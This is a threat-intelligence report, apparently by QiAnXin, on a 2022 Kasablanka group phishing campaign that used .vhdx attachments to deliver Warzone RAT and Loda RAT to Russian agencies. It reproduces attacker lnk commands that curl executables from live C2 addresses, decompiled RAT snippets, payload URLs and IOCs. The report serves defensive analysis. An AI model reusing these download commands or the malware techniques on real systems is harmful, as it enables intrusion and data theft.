
Kasablanka Group Probably Conducted Compaigns Targeting Russia

Overview

APT groups often use some uncommon file types to host malicious code in order to increase the probability of immunity against antivirus software, such as CD-ROM image files (.iso) and virtual hard disk files (.vhd), which we have monitored for abuse in recent years. And the use of these two formats can effectively circumvent the MOTW mechanism (a security measure in which Windows displays a warning message when a user tries to open a file downloaded from the Internet). The effectiveness of the Lazarus group's attack campaign was evident back in November '22 when we disclosed that its attack components using the vhdx format had a detection rate of 0 on VirusTotal.


When combing through the recently uploaded vhdx files we found that from September to December 2022, Kasablanka group is suspected of attacking **Russia**, and its targets include the Russian Federal Government Cooperation Agency, the Ministry of Foreign Communications of the Astrakhan Region of Russia, etc., and **the detection rate of some samples is always 0**.

Analyzing and organizing the captured samples, the Kasablanka group used a socially engineered phishing email as the entry point for the attack, with a virtual disk image file attached, which nested a variety of next-stage payload executions including lnk files, zip packages, and executables. In the early stages of the attack the final execution was the commercial Trojan Warzone RAT, in the later stages of the attack we observed that the executed Trojan changed to Loda RAT.




Decoy File

A phishing attack against the Agency of the Government of the Russian Federation for CIS Affairs, Aliens and International Humanitarian Cooperation, or "Россотрудничество".



The translation of the phishing email content is as follows :



Phishing email attack against the Ministry of Foreign Communications of the Astrakhan Region of Russia.

Mar La ち び ↑ ↓ =	Fwd: Исходящее сообщение №479 - 邮件 (HTML)	? 🗹 – 🗆 🗙
文件 邮件		
◎ 垃圾邮件 ● 删除 答复 全部答复 转发 画 具他 ●	PONNOTE Image: Constraint of the state of	
删除 响应	移动 标记 12 中文简繁转换 编辑 显示比例	*
2022/12/7 (周三) 14:44 mid-inter@astrobl.ru < Fwd: Исходящее сообщение №		
收件人		
邮件 Tезисы.pdf.vhdx		
Доброе утро, в приложении письмо о встрече с Генконсулом РК <i>С уважением</i> , Лукин В.С. отдел регионального сотрудничества, Министерство внешних связей Астраханской области 414000, г.Астрахань, ул. Эспланадная, 45 теп. +7 (8512) 51-97-02, +7 (8512) 51-65-07, e-mail: mid-inter@astrobl.ru www.mid.astrobl.ru		
интернет сайта. Если в открывайте вложений.	оавитель. В сообщении возможна ссылка на ресу ы не уверены, то не используйте ее (возможно в contain a link to a web resource. Never click on the link, if the email looks susy	ирус) и не

● 查看有关 mid-inter@astrobl.ru 的更多信息。

о _ ^

The translation of the phishing email is as follows:

检测到俄语 英语 中文(简体) 徳语 ✓	↔ 中文(简体) 英语 日语 ✓
Доброе утро,	× 早上好,
в приложении письмо о встрече с Генконсулом Р	РК Мадиевым 附上一封关于会见哈萨克斯坦共和国总领事 Madiev A.E. 的信件。
A.E.	
	真挚地,
С уважением,	卢金诉
Лукин В.С.	区域合作部,
отдел регионального сотрудничества,	外交部
Министерство внешних связей	阿斯特拉罕地区
Астраханской области	
	414000,阿斯特拉罕,圣。滨海大道,45岁
414000, г.Астрахань, ул. Эспланадная, 45	电话 +7 (8512) 51-97-02, +7 (8512) 51-65-07,
тел. +7 (8512) 51-97-02, +7 (8512) 51-65-07,	电子邮箱: mid-inter@astrobl.ru
e-mail: mid-inter@astrobl.ru	www.mid.astrobl.ru
www.mid.astrobl.ru	
Dobroye utro, v prilozhenii pis'mo o vstreche s Genkonsulom RH	K Madiyevym A.Ye. S Zăoshang hão,
uvazheniyem, Lukin V.S. otdel regional'nogo sotrudnichestva, M	Vinisterstvo vneshnikh fù shàng yĩ fêng guãnyú huìjiàn hãsàkè sĩtǎn gònghéguó zǒnglǐngshì Madiev A.E. De
svyazey Astrakhanskoy oblasti 414000, g.Astrakhan', ul. Esplan	nadnaya, 45 tel. +7 (8512) xìnjiàn.
展开	展开
	326 / 5,000 🖉 🌒 🔽 🗗 🖒 🖉

One of the phishing email attachments uses the situation related to the Republic of Turkey in 2022 as a bait.

ТУРЕЦКАЯ РЕСПУБЛИКА (справка по схеме)

Турецкая Республика (Турция). Имеет сухопутную границу с Грузией, Арменией, Азербайджаном, Болгарией, Грецией, Сирией, Ираком, Ираном. На Черном море имеет общую границу экономической зоны и континентального шельфа с Российской Федерацией и Украиной.

Территория – 779,4 тыс. кв. км. Располагается на азиатском (97%) и европейском (3%) континентах. В административно-территориальном отношении состоит из 81 провинции.

Столица – г.Анкара (с 1923 г.), свыше 5,5 млн жителей. Крупнейший город – Стамбул (более 15 млн жителей).

Население – 84,68 млн человек. Национальный состав: турки (70%), курды (18%), арабы, черкесы, армяне, греки, евреи, лазы и другие наволности.

Государственный язык – турецкий.

Турция – светское государство. Господствующая религия – ислам, преимущественно суннитского направления ханифитского толка. Существует община алавитов (определяют свою численность в 15 млн человек).

Исполнительная власть осуществляется Президентом, избираемым всеобщим голосованием сроком на 5 лет с возможностью переизбрания на второй срок. С 9 июля 2018 г. Президент – Р.Т.Эрдоган.

Законодательная власть принадлежит однопалатному парламенту – Великому национальному собранию Турции (600 депутатов). Председатель парламента – М.Шентоп.

Судебная система в Турции состоит из уголовно-гражданских, административных и арбитражных судов.

Вооруженные силы. Общая численность – около 480 тыс. человек (второй по величине контингент в НАТО). Экономика. Турция – индустриально-аграрная страна. В 2021 г. оценочно: объем ВВП – 740 млрд долл. США, рост ВВП – 7,4 %, безработица – 11,2%, ВВП на душу населения – 7,7 тыс. долл., внешнеторговый оборот – 496,7 млрд долл., дефицит платежного баланса – 3,9% к ВВП, инфляции – 19,4%, внешний долг – более 450 млрд долл., внешний долг – 58,3% к ВВП. Денежная единица – турецкая лира (100 курушей).

Внешняя политика. Имеет дипотношения более чем со 100 государствами. Является членом НАТО с 1952 г. В 2005 г. получила статус страны-кандидата на членство в ЕС, с которым имеет соглашение о Таможенном союзе (с 1996 г.).

Турция – член Организации Черноморского экономического сотрудничества. Участвует в программах взаимодействия черноморских стран в области безопасности (Документ о мерах укрепления доверия и безопасности в военно-морской области на Черном море, «Блэксифор», «Черноморская гармония»).

Входит в состав различных международных организаций и объединений – «Группы двадцати», ОИС, ОЭСР, ОЭС, «Альянса цивилизаций» и др. В 2013 г. Турция получила статус партнера ШОС по диалогу.

Внутренняя политика. На досрочных президентских и парламентских выборах 24 июня 2018 г. победу с результатом 52,6% одержали Р.Т.Эрдоган и коалиция в составе возглавляемой им Партии справедливости и развития и Партии националистического движения (344 из 600 мест в меджлисе).

С июля 2015 г. ведется военная операция против отрядов запрещенной в стране Рабочей партии Курдистана. С 2019 г. ведется серия спецопераций против курдов на севере Ирака.

15 июля 2016 г. в Турции произошла неудачная попытка военного переворота, после которой последовала широкомасштабная «чистка» армии, госаппарата, судебных органов, образовательных и иных учреждений страны.

Attacks using articles related to Russian import substitution and migration policy in 2015 as bait.

2



In addition, the Kasablanka group intercepted the first page from Resolution No. 1725 published on the official website of the Government of the Russian Federation as a decoy.



ПРАВИТЕЛЬСТВО РОССИЙСКОЙ ФЕДЕРАЦИИ

ПОСТАНОВЛЕНИЕ

от 20 октября 2022 г. № 1725

MOCKBA

Об утверждении Правил предоставления права на получение отсрочки от призыва на военную службу по мобилизации гражданам Российской Федерации

Правительство Российской Федерации постановляет:

 Утвердить прилагаемые Правила предоставления права на получение отсрочки от призыва на военную службу по мобилизации гражданам Российской Федерации.

 Настоящее постановление вступает в силу со дня его официального опубликования и распространяется на правоотношения, возникшие с 21 сентября 2022 г.


Приложение: на 14 л.

Председатель Правительства Российской Федерации

М.Мишустин УТВЕРЖДЕНЫ

постановлением Правительства Российской Федерации от 20 октября 2022 г. № 1725

And the relevant content of the draft Digital Code of Kyrgyzstan was used as a bait.



Sample Analysis

The captured samples are all virtual disk image files (.vhdx suffix), and the sample decoy names and contents are in Russian and uploaded from Russian regions. Some of the samples use lnk files as downloaders for the next stage payload.

名称 ^	修改日期	ŝ	类型	大小	N	
System Volume Information	2022/9/27 8:	37 3	文件夹			
🗅 回收站	2022/11/28 8	3:48 3	文件夹			
📴 480-980-1-SM.pdf	2022/11/19	7:59	Microsoft Ed	ge	726 KB	
// Hcx №489	2022/11/28 8	3:15 1	快捷方式		2 KB	
	/// β //					×
	终端	详细信	息	以前的	的版本	
	常规 快捷方式	选项	字体	布局	颜色	
	Исх №48	9				
	目标类型: 应用程	序				
	目标位置: system	n32				
	目标(T): .exe /	c curl http://1	179.60.150.11	18/new.exe	-0 %	
	起始位置(S):					

Some attack samples package the decoy and Warzone RAT into a zip file in a virtual disk image file.

へ 名称	修改日期	类型	大小				
System Volume Information 函 回收站	2022/9/27 8:37 2022/9/27 8:38	文件夹 文件夹					
🛄 Постановление об отсрочке.rar	2022/10/26 12:39	WinRAR 压缩文件	526 KB				
文件(F) 命令(C) 添加 解圧到	е об отсрочке.rar (评估版 [具(S) 收藏夹(O) 选项(N) [2]	A) 帮助(H))	(保护) 自解压格	式	
名称	^		大小	压缩后大小	类型	修改时间	CRC3
					文件夹		
new.exe			2,767,360	413,631	应用程序	2022/10/26 1	1F658
m ⊓⊓ №1725.pdf			113,444	104,323	Microsoft Edge	2022/10/22 1	58B1F
📄 Список сотруд	ников - 2 часть.docx		22,815	20,174	Office Open XM	2022/10/22 1	CE509

Or there is no decoy file and the lnk file is directly disguised as a folder to lure victims to click on it.

名称	修	改日期	类	塑	大小	
— System Volume Information 画 回收站 🛃 In-L-CPCR-7542-2022.pdf	20	22/9/27 8:37 22/9/27 8:38 22/9/27 8:26	× x	2件夹 2件夹 快捷方式		3 KB
[📕 In-L-CPCR-	7542-2022.p	odf 属性			×
	终端		详细信题	1	以前的版	極
	常规	快捷方式	选项	字体	布局	颜色
	2	In-L-CPCR-	7542-2022.p	odf		_
	目标类型:	应用程序	;			
	目标位置:	system3	2			
	目标(T):	?\cmd.e	xe /c curl ht	ttp://193.149	9.129.151/vms	ys
	起始位置(S):					

We have sorted out links to download the relevant payloads, as shown in the table below :

Links http://179.60.150.118/new.exe http://89.22.233.149/ms7.hta http://193.149.129.151/vmsys http://45.61.137.32/www.exe

Remarks Warzone RAT

Unknown Unknown Warzone RAT

Links	Remarks
http://45.61.137.32/svvhost.rar	Loda RAT
http://45.61.137.32/Scanned_document.exe	Loda RAT

Warzone RAT

Warzone RAT, also known as AveMaria RAT, is a commercial trojan developed in pure C/C++, which has been sold publicly on the internet as a software subscription since 2018 and is compatible with systems below Windows 10, with remote desktop, password stealing, keylogging, remote commands, permission elevation, download execution and many other remote control functions. It has been used by several APT groups, including Confucius, Bitter, Blind Eagle (APT-Q-98) and other groups .

WARZONE RAT 3.0 演练和信息

观看 WARZONE RAT 视频:



https://streamable.com/lryi8m

特征

- 原生的、独立的存根
 这个 RAT 的存根是用 C++ 编写的,这使得它独立于.NET Framework。
- 饼干恢复
 以 JSON 格式从流行的 Chrome 和 Firefox 中恢复 cookie。
- 远程桌面

以 60 FPS 的速度远程控制计算机! 使用鼠标和键盘来控制远程计算机。 远程桌面功能是通过特制的 VNC 模块实现的。

- 隐藏的远程桌面 HRDP
 无形中控制远程计算机!
 HRDP 模块允许您在无人知晓的情况下登录到远程机器。
 即使当前在主帐户上打开浏览器,您也可以打开它。
- **权限提升 UAC 绕过** 只需单击 1 次即可提升为管理员。 此功能已经过测试并证明适用于从 Windows 7 到最新的 Windows 10 的 Windows 操作系统。
- 远程网络摄像头
 如果远程计算机连接了网络摄像头,您可以在远程网络摄像头模块中实时查看流。
- **找回密码** 在几秒钟内从流行的浏览器和电子邮件客户端恢复密码! 从以下浏览器获取密码: Chrome、Firefox、Internet Explorer、Edge、Epic、UC、QQ、Opera、Blisk、SRWare Iron、Brave、Vivaldi、 Comodo Dragon、Torch、Slimjet、Cent Outlook、Thunderbird、Foxmail 启用自动密码恢复无需触摸任何按钮即可接收密码!
- 文件管理器
 高速上传和下载文件。您还可以执行和删除文件。

This captured Warzone RAT eventually establishes a TCP connection to the server hbfyewtuvfbhsbdjhjwebfy.net (193.188.20.163).

```
v16 = this;
this[146] = 1;
while (1)
  result = v16;
  if ( !v16[146] )
   break;
  *(_DWORD *)hostshort = *(_DWORD *)(sub_1000B541((char *)v16 + 484, (int)v7) + 4);
 v12 = (LPCWCH *)sub_1000B541((char *)v16 + 484, (int)v8);
  v6 = *(_DWORD *)hostshort;
  sub_10006EB5(v12, (int)&v5);
  v10 = sub_1000AD0A((int)v11, a2, v5, v6); // 连接服务器hbfyewtuvfbhsbdjhjwebfy.net
  sub_10001703(v8);
  sub_10001703(v7);
                                   // 接收并处理数据包
   sub_1000AA9A(a2, (int)v16);
  v4 = sub_1000B523(v16 + 121);
  Sleep(v4);
return result;
```

It has a wide variety of remote control commands, including the following functions. :

Function number	Function
0x0	Obtain information about the controlled machine
0x2	Get process list information
0x4	Get drive information
0x6	Get directory information
0x8	Retrieving files from the victim device's folder
0xA	Delete the specified file
0xC	Ends the specified process
0xE	Remote shell
0x10	Ends the specified thread
0x12	List the victim's camera device information
0x14	Turn on the camera
0x16	Stop the camera
0x18	Get the title of the active program
0x1A	Exit and delete your own files
0x1C	Downloading files to the controlled end
0x20	Get browser password
0x22	Download the file from the given URL to the controlled end and execute it
0x24	Online keylogging
0x26	Offline keylogging
0x28	Install HRDP Manager on the victim's device

Function number	Function
0x2A	Enable reverse proxy
0x2C	Stop reverse proxy
0x30	Start remote VNC
0x32	Shutting down remote VNC
0x38	Reverse proxy port settings
0x3A	Execute or open the specified file
0x48	Injection into the specified process
0x4A	Traversing to get file information
0x4C	Multiple post-command breakdowns, including shutdown, network test, exit, etc

Loda RAT

Loda RAT is a proprietary malware written in Autolt script language, first captured and disclosed in the wild by Proofpoint in September 2016, the name 'Loda' derives from the malware author's choice of directory to write keylogger logs to as Loda.Subsequently Cisco discovered multiple variants of Loda RAT and found that the RAT added spying capabilities to the Android platform. After a series of investigations, Cisco concluded that the group using the malware was based in Morocco and named the group Kasablanka (the largest city in Morocco)^[1].

Analysis of the captured sample showed that it was written in C# and obfuscated so extensively that common tools could not decompile it, and added a large amount of 00 data at the end of the PE file, swelling the entire file size to 741MB.

svvhost. ex	_																					
∓ Edit As:	Hex	Ψ.	Ru	n Sc	ript	Υ.	Ru	n Tem	plat	e: E	XE. I	t T	\triangleright									
	ò	1	2	3	4	5	6	7	8	9	A	B	ç	D	E	F	0123456789ABCDEF					
86:09E0h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
86:09F0h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
86:0A00h:	00	40	86		00				0C	30		00	00	00	00	00	.@t0					
86:0A10h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
86:0A20h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
86:0A30h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
B6:0A40h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
86:0A50h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
86:0A60h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
86:0A70h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
86:0A80h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
86:0A90h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
86:0AA0h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
86:0AB0h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
86:0ACOh:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
86:0ADOh:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
86:0AE0h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
86:0AF0h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
86:0B00h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
86:0B10h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
86:0B20h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00						
Template Resu	பlts	- E)	E. bi	t																		>
						H	ane										Value	Start	Size	C	olor	
> struct IMA	GE D	OS }	EADE	R Do	sHee	ader												Oh	40h	Fg:	Bg:	
> struct IMA																		40h	40h	Fg:	Bg:	
> struct IMA	GE_N	Т_НЕ	ADEF	S Nt	Head	ler												80h	F8h	Fg:	Bg:	
> struct IMA								aders	:[5]									178h	C8h	Fg:	Bg:	
> struct IMA			_				_										Nzk {'	400h	201E00h	Fg:	Bg:	
> struct IMA																	text	202200h	65DE00h	Fg:	Bg:	
> struct IMA																	rsrc	860000h	800h	Fg:	Bg:	
> struct IMA																-	reloc	860800h 860A00h	200h 200h	Fg:	Bg: P=	
> struct IMA > struct IMA								Donas									reloc scoree. dll	202E3Ch	42h	Fg: Fg:	Bg: Bg:	
✓ struct IMP✓ struct BAS									Theo							m	SUULEE. ULL	860A00h	Ch	rg. Fg:	Bg:	1
struct																		860A00h	Ch	Fg:	Bg:	2

After execution, the sample first releases and executes the Loda RAT packaged with Autolt in the %appdata% directory, and the Autolt script can be restored by using the deep analysis function of QiAnXin's Threat Intelligence Center Cloud Sandbox, and the behavior and functions of the trojan can be seen by analyzing the script.

00000011	0000012	0000073			
					○ 概要信息
					19424 [D-2-
					💿 威胁情报
00000017	0000000	0000054			○ AV引擎
					○ 行为异常
				_	● 静态分析
				•	 深度解析
					○ 主机行为
					│ 网络行为
					○ 释放文件
2)="10" THEN					○ 运行截图
		00000001 000000d 0000006f 000000b 00000017 " ERSION("winver.exe")	ERSION("winver.exe") 0000001 0000001 0000004 000000b 000000b 00000034 00000017 ERSION("winver.exe")	0000001 0000004 0000002 0000006f 000000b 0000034 0000017	0000001 0000004 0000002 0000006f 00000b 0000034 0000017

Loda RAT first detect antivirus products installed on victim machines through WMI commands.

```
Func _getav()
   Dim $larray8[2]
   $larray8[0] = "x"
   1 = x''
   Local $owmi = ObjGet("winmgmts:\\localhost\root\SecurityCenter2")
   If IsObj($owmi) Then
       Local $colitems = $owmi.execquery("Select * from AntiVirusProduct")
       If NOT IsObj($colitems) Then Return 0
       For $objantivirusproduct In $colitems
           $larray8[0] = $objantivirusproduct.displayname
           $larray8[1] = $objantivirusproduct.productstate
       Next
       Dim $avstatus8 = Hex($larray8[1])
       If StringMid($avstatus8, 5, 2) = "10" OR StringMid($avstatus8, 5, 2) = "11" Then
           $larray8[1] = "Enabled"
       Else
           $larray8[1] = "Disabled"
       EndIf
       If $larray8[0] = "" Then
           $larray8[0] = "No"
           $larray8[1] = "No"
       EndIf
   EndIf
   Return $larray8
EndFunc
```

Followed operation is collecting some information of victim host, including permissions, operating system version, etc.

```
If IsAdmin() Then
   $vicname = "Admin"
EndIf
qlits = 12
resxo = 1
$deskheght = @DesktopHeight
$deskwidh = @DesktopWidth
If FileExists(@AppDataCommonDir & "\Microsoft\Wlansvc") Then ;判断是笔记本还是台式电脑
   $dexcz = "Laptop"
Else
   $dexcz = "Desktop"
EndIf
$ipsd = "185.181.165.188"
$porsd = "443"
$archx = @OSArch
$usecc = @UserName
$osversion = ""
Local $tooor = FileGetVersion("winver.exe");通过winver.exe判断是win10还是win11版本
If StringLeft($tooor, 2) = "10" Then
   $osversion = "WIN_10"
ElseIf StringLeft($tooor, 2) = "11" Then
   $osversion = "WIN_11"
Else
   $osversion = @OSVersion
EndIf
```

And adding persistentence by creating %appdata%\Windata\svshost.exe and NFOKQN.Ink shortcut to svshost.exe in windows startup directory.



Uploading the collected information and then takeing screenshots.



Subsequently enter the remote control loop, by processing the data returned by C2, and then correspond to the detailed remote control instructions, and its remote control instructions divided into a relatively fine function, rough statistics have 144 remote control instructions, due to the reasons of space, we will not do a detailed introduction, a general overview of its remote control functions.


- Recording
- Upload and download files
- Execute the specified file
- Shutdown
- Close the specified process
- Stealing user cookies, passwords
- Turn on keylogger
- Delete keylogger data
- Download and execute the file from the specified URL
- Get file or directory size
- Allow RDP connections by modifying the registry
- Compressing/uncompressing files
- Copy files or directories
- Enumerate connected drives
- Enumerate hot folder locations
- Detect UAC settings
- Send mouse clicks (to the left or right is a separate command)
- Capture screenshots and send to C2
- Open/close CD trays
- Recording
- Turn off Windows Firewall
- Send the name of running processes to C2
- Exit, uninstall
- · Create a GUI chat window to save the victim/attacker conversation to a file

In addition, in the previous version, LodaRAT downloaded SQLite3.dll from the official Autolt website because it was needed to extract sensitive information from the browser database, but the embedded URL had been unavailable for download. So in the latest version, the Kasablanka group transcoded it directly to hex, embedded in in the script.



Association & Attribution


In C2:193.149.129.151, we trace back to Trojan "systemI.dll", written in C# and only 8.5KB in size, whose function is to download WinScp tools to synchronize files with remote computers and set scheduled tasks to persist, making it a potential backdoor.



In another C2: 179.60.150.118, we associate two files packaged by Pyinstaller, both of them are downloaders and have the same core code.



After Base64 decoding, you can clearly see that by requesting port 443 of 179.60.150.118 to get the follow-up payload to execute, and the payload is Warzone RAT or CS Trojan.



Some security vendors believe that Loda RAT is the exclusive trojan of Kasablanka group, but since Loda RAT is compiled from Autolt scripts and its source code can be obtained by decompiling it, 'false flag' activities by other threat actors using the decompiled source code are also possible.

In terms of attack motivation, we believe that the purpose of this attack is mainly for information gathering and espionage. Considering the current situation between Russia and Ukraine, intelligence spying and espionage are more in line with the motivation of nation-sponsered hacker groups, so we attribute this attack to Kasablanka group with moderate confidence.

Summary

In previous disclosures of the Kasablanka group's operations, its targets included Bangladesh, South America and the United States, and its Loda RAT includes Windows version and Android version.Now this group often uses commercial RATs in its attack activities, which not only reduces the development cost but also makes it difficult for tracing attackers' footprints.

The RedDrip team would like to remind all users not to open links of unknown origin shared by social media, not to click on email attachments from unknown sources, not to run unknown files with exaggerated titles, not to install APPs from informal sources, to back up important files in a timely manner, and to update and install patches.

If you need to run or install an application of unknown origin, you can first identify it through the QiAnXin Threat Intelligence File Deep Analysis Platform (https://sandbox.ti.qianxin.com/sandbox/page). At present, it supports deep analysis of files in various formats including Windows and Android platforms.

Currently, a full line of products based on the threat intelligence data from the QiAnXin Threat Intelligence Center, including the QiAnXin Threat Intelligence Platform (TIP), SkyRock, QiAnXin Advanced Threat Detection System, QiAnXin NGSOC, QiAnXin Situational Awareness, etc., already support the accurate detection of such attacks ^[2].



IOCs

MD5

4d75d26590116a011cbebb87855f4b4f 574e031a4747d5e6315b894f983d3001 56d1e9d11a8752e1c06e542e78e9c3e4 db9f2d7b908755094a2a6caa35ff7509 8f52ea222d64bbc4d629ec516d60cbaf c3b3cb77fcec534763aa4d3b697c2f8c 9ea108e031d29ee21b3f81e503eca87d 23d5614fcc7d2c54ed54fb7d5234b079 6be3aecc5704c16bf275e17ca8625f46 e4a678b4aa95607a2eda20a570ffb9e1 11ed3f8c1a8fce3794b650bbdf09c265 8a548f927ab546efd76eeb78b8df7d4c 6d710d1a94445efb0890c8866250958e 6b42e4c5aecd592488c4434b47b15fbb d82743e8f242b6a548a17543c807b7b0 32a0a7fa5893dd8d1038d1d1a9bc277a bd5c665187dfb73fc81163c2c03b2ddf a07c6e759e51f856c96fc3434b6aa9f8 0dcd949983cb49ad360428f464c19a9e 87125803f156d15ed3ce2a18fe9da2b8 4f7e2f5b0f669599e43463b70fb514ad 00b9b126a3ed8609f9c41971155307be

C2

179.60.150.118

45.61.137.32

89.22.233.149

193.149.129.151

193.149.176.254

Reference Links

[1] https://blog.talosintelligence.com/kasablanka-lodarat/

[2] https://ti.qianxin.com/